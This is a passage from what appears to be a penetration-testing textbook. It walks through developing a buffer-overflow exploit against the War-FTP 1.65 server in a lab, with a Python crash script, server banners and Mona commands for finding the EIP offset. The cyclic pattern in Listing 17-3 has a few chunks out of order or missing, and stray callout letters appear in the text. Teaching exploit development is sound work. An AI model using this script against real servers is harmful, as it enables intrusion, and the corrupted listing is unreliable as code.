In the exploit shown in Listing 17-1, we first import the socket Python library. Next, we create a string called buffer, which contains 1,100 As, and set up a socket at u to connect to our Windows XP machine on port 21, where the War-FTP server is listening. Next, we accept and print out the
FTP server’s banner to the screen at v. Our exploit then sends over the USER command with 1,100 As w for the username in hopes of causing the FTP server to crash.
If the server responds and asks for our password, the exploit is ready to finish the connection with the password, PASSWORD. However, if our exploit succeeds, it won’t matter if our credentials are valid, because the program will crash before it finishes the login process. Finally, we close our socket, and the exploit finishes. Make sure the Python script is executable with chmod +x, and run the exploit as shown here. root@kali:~# chmod +x ftpexploit root@kali:~# ./ftpexploit
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.

As with the previous example, we hope to overwrite the saved return address with a string of As and cause the program to crash. The War-FTP server sends over its welcome banner, prompts us for our username, and then asks for a password. Take a look at War-FTP in Immunity Debugger, as shown in Figure 17-5, to see if our exploit managed to cause a crash.

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Figure 17-5: War-FTP crashes due to a buffer overflow.

After we run our exploit, we see that War-FTP is paused due to an access violation when attempting to execute an instruction at 41414141. Based on what we learned in the Linux buffer overflow example in Chapter 16, this result should seem familiar. A return address was overwritten by our long string of As, so when the function returned, 41414141 was loaded into the
EIP register. The program attempted to execute the instructions at that memory location, which was out of bounds and caused a crash.

Locating EIP
As with the previous example, we need to know which four As in our string are overwriting the return address. Unfortunately, 1,100 As is a bit more than the 30 we used in the previous chapter, so just counting in memory is more difficult in this case. Also, we can’t be sure if the first As we’re seeing on the stack are the first As sent as part of the exploit.
Traditionally, the next step would be to crash the program again with
550 As followed by 550 Bs. If the program crashed with 41414141 in EIP, then the return address overwrite occurred in the first 550 bytes; if it crashed with 42424242 in EIP, the overwrite was in the second half. From there, the half of the string in question would be split into 275 As followed by 275 Bs.
Slowly but surely, this method would narrow down the exact location.
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Generating a Cyclical Pattern to Determine Offset
Luckily, we can use Mona to generate a unique cyclic pattern to find the right four bytes for the return address overwrite in only one iteration. To use Mona for this task, enter !mona pattern_create with length 1100 as an argument at the bottom of the Immunity Debugger window, as shown in
Figure 17-6.

Figure 17-6: Using pattern_create in Mona

The 1,100-character cyclic pattern is written to the file C:\logs\war-ftpd\ pattern.txt, as shown in Listing 17-2.
=============================================================================
Output generated by mona.py v2.0, rev 451 - Immunity Debugger
Corelan Team - https://www.corelan.be
=============================================================================
OS : xp, release 5.1.2600
Process being debugged : war-ftpd (pid 2416)
=============================================================================
2015-11-10 11:03:32
=============================================================================
Pattern of 1100 bytes :
-----------------------

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Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1
Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7
Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3
Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9
An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5
Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1
As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7
Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3
Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9
Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5
Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1
Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7
Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3
Bk4Bk5Bk
Listing 17-2: Output of the pattern_create command

We are going to replace the long string of As with the unique pattern shown in Listing 17-2. But before running the exploit again, we need to restart War-FTP from the previous crash. In Immunity Debugger, go to
Debug4Restart, and then press the Play button and click the lightning bolt icon to tell War-FTP to listen on the network. (Follow these steps each time you need to restart War-FTP after a crash.) Alternatively, you can close Immunity Debugger, restart War-FTP manually, and attach to the new process in the debugger. Replace the value of the buffer in the exploit with the pattern from Listing 17-2, surrounded by quotation marks to make it a string in Python, as shown in Listing 17-3.
Note

If War-FTP refuses to restart with the error Unknown format for user database, find and delete the files FtpDaemon.dat and/or FtpDaemon.ini that were created on the desktop by War-FTP. This should fix the problem and War-FTP should start normally. root@kali:~# cat ftpexploit
#!/usr/bin/python
import socket u buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8
Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4
Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0
Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6
Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2
Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ap3Ar7Ar8
Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4
Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Ax2Ax3Ax4
Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0
Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7
Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3
Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9
Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5
Bk" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.20.10',21))

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response = s.recv(1024) print response
s.send('USER ' + buffer + '\r\n') response = s.recv(1024) print response
s.send('PASS PASSWORD\r\n')
s.close()
Listing 17-3: Exploit with cyclic pattern

Now run the exploit again with the generated pattern starting at u, replacing the 1,100 As. root@kali:~# ./ftpexploit
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.

Having run our exploit with Metasploit’s pattern, look back at Immunity
Debugger, as shown in Figure 17-7, to see what value is contained in EIP and to find out where in our attack string we overwrite the return address.

Figure 17-7: Finding the return address overwrite

War-FTP has crashed again, but this time EIP contains four bytes of our generated pattern: 32714131. We can use Mona to determine where exactly in
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the 1,100-character cyclic pattern the ASCII equivalent of 32714131 is. Enter
!mona pattern_offset 32714131 to get just the offset, or enter !mona findmsp at the
Immunity Debugger prompt, as shown in Figure 17-8, to have Mona perform additional analysis on all registers and on instances of the pattern in memory.

Figure 17-8: Finding the pattern offsets in Mona

Mona finds instances of the cyclic pattern in memory. The output of the command is written t